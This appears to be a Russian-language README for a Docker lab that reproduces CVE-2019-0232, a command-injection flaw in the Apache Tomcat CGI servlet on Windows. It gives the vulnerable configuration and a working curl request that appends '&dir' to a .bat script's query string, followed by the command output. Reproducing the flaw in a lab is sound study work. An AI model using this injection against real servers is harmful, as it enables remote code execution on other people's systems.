
Лабораторная среда на основе Docker для воспроизведения CVE-2019-0232, уязвимости удаленного выполнения кода в Apache Tomcat CGI Servlet на Windows, с примерами эксплуатации.
Этот репозиторий предоставляет лабораторную среду на основе Docker для воспроизведения уязвимости CVE-2019-0232 в Apache Tomcat 9.0.17 на Windows.
CVE-2019-0232 — это уязвимость удаленного выполнения кода в CGI-сервлете Apache Tomcat при работе на Windows. Проблема возникает из-за некорректной обработки аргументов командной строки, когда параметр enableCmdLineArguments установлен в true. Злоумышленник может передать произвольные аргументы CGI-скрипту через строку запроса, что приводит к выполнению системных команд.
enableCmdLineArguments=true в конфигурации CGI-сервлетаtomcat-cgi-lab
├── docker-compose.yml
├── Dockerfile
└── tomcat
├── apache-tomcat-9.0.17-windows-x64.zip
└── apache-tomcat-9.0.17
├── conf
│ └── context.xml ← (privileged="true")
└── webapps
└── ROOT
└── WEB-INF
├── web.xml ← (CGI configuration)
└── cgi-bin
└── test.bat ← (.bat script)
privileged="true", чтобы разрешить веб-приложению использовать CGI-сервлет.enableCmdLineArguments=true и привязывает его к /cgi-bin/*.docker-compose build --no-cache
docker-compose up -d
curl -i "http://localhost:8080/cgi-bin/test.bat?&dir"
Welcome to CGI Test Page
Volume in drive C has no label.
Volume Serial Number is 3E70-7C38
Directory of C:\apache-tomcat-9.0.17\webapps\ROOT\WEB-INF\cgi-bin
07/12/2026 11:45 AM <DIR> .
07/12/2026 11:45 AM <DIR> ..
07/12/2026 12:25 PM 78 test.bat
1 File(s) 78 bytes
2 Dir(s) 136,027,971,584 bytes free